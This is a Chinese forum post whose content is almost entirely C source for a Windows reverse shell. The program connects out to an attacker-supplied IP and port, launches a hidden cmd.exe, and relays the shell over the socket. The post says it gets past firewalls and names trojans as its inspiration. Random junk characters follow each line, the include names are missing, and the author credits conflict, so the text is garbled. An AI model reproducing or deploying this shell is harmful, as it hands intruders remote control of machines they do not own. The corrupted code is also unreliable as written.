Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 tlI]);iE,  
2&AX_#P  
/* ============================== 6k+tO%{~  
Rebound port in Windows NT !L/.[:X  
By wind,2006/7 {`Mb),G  
===============================*/ )]m4FC:  
#include Uf?+oc'{  
#include sp0_f;bC  
x$S~>H<a  
#pragma comment(lib,"wsock32.lib") C?6q]k]r  
|47 2X&e  
void OutputShell(); 2t=&h|6EW  
SOCKET sClient; 2{g&9  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {WeRFiQ?-  
jX t5.9 t  
void main(int argc,char **argv) \oP  
{ i9peQ61{  
WSADATA stWsaData; +hlR  
int nRet; 4(,X.GVY/  
SOCKADDR_IN stSaiClient,stSaiServer; R m2M  
n~i^+pD@  
if(argc != 3) ;B:\e8  
{ .l,NmF9  
printf("Useage:\n\rRebound DestIP DestPort\n"); *_ajb:  
return; 1D~B\=LL}  
} 'w|N} 4  
M?['HoRo  
WSAStartup(MAKEWORD(2,2),&stWsaData); CdtwR0  
^6!8)7b  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Lr`Gyl62  
wvr`~e  
stSaiClient.sin_family = AF_INET; -W|~YK7e  
stSaiClient.sin_port = htons(0); LXR>M>a`  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bF
+d_t  
.ffr2\'*  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1Va@w  
{ li}>xDSQ4  
printf("Bind Socket Failed!\n"); *r6v9  
return; /5\{(=0  
} =v{
R(IX%  
-^rdB6O6j  
stSaiServer.sin_family = AF_INET; A=*6|1w;  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $! g~pV  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); nyG5sWMpe  
KF`m
OSP  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) hm1.UE  
{ Imo?)dYK  
printf("Connect Error!"); :a( Oc'T  
return; mt-t8~A  
} =]<X6!0mR  
OutputShell(); u:^9ZQ+  
} j?!/#'  
dmMr
Z1u2  
void OutputShell() gLbTZM4i  
{ )_Iu7b  
char szBuff[1024]; ?.nD!S@  
SECURITY_ATTRIBUTES stSecurityAttributes; _Vr}ipx-k  
OSVERSIONINFO stOsversionInfo; ,awkL :  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; L1q]  
STARTUPINFO stStartupInfo; eHyIFoaC/  
char *szShell; "m}N hoD4  
PROCESS_INFORMATION stProcessInformation; m`@~ZIa?>B  
unsigned long lBytesRead; ',6d0>4*  
xQqZi b5I  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); SQJ4}w>i  
#*}cc  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rFto1m  
stSecurityAttributes.lpSecurityDescriptor = 0; miY=xwK&  
stSecurityAttributes.bInheritHandle = TRUE; !Jaj2mS.N  
(~:ip)v  
.5#+)] l  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); GGGz7_s ?  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }&EdA;/o_  
+1Rz+  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); e&9v`8}   
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Js9EsN%  
stStartupInfo.wShowWindow = SW_HIDE; 2W)KfS  
stStartupInfo.hStdInput = hReadPipe; h<BTu7a`r  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )fc+B
_  
hWr}Uui  
GetVersionEx(&stOsversionInfo); m;u:_4  
s 8lfW6  
switch(stOsversionInfo.dwPlatformId) asYUb&Hz88  
{ _+&/P&  
case 1: 7+P-MT  
szShell = "command.com"; 08nA}+k  
break; b.xG'  
default: "s\himoa  
szShell = "cmd.exe"; Lo +H&-  
break; 
G-D
OI  
} s09&A]G  
_2<d6@}
 
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); x0q`Uc  
Ntpw(E<$f  
send(sClient,szMsg,77,0); j<A;
i  
while(1) bX+"G}CRP  
{
?a~#`<  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); u9ue>I/  
if(lBytesRead) PkF'#W%  
{ U{3Pk0rZ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ->@iw!5xu  
send(sClient,szBuff,lBytesRead,0); ER<Z!*2  
} snny! 0E\m  
else W0# VDe]>  
{ R^6^{q  
lBytesRead=recv(sClient,szBuff,1024,0); q&: t$tSS  
if(lBytesRead<=0) break; !f#[4Xw  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (KphAA8  
} *Di ;Gf@  
} dca?(B!'6  
D(">bR)1  
return; Jrx]/CM  
}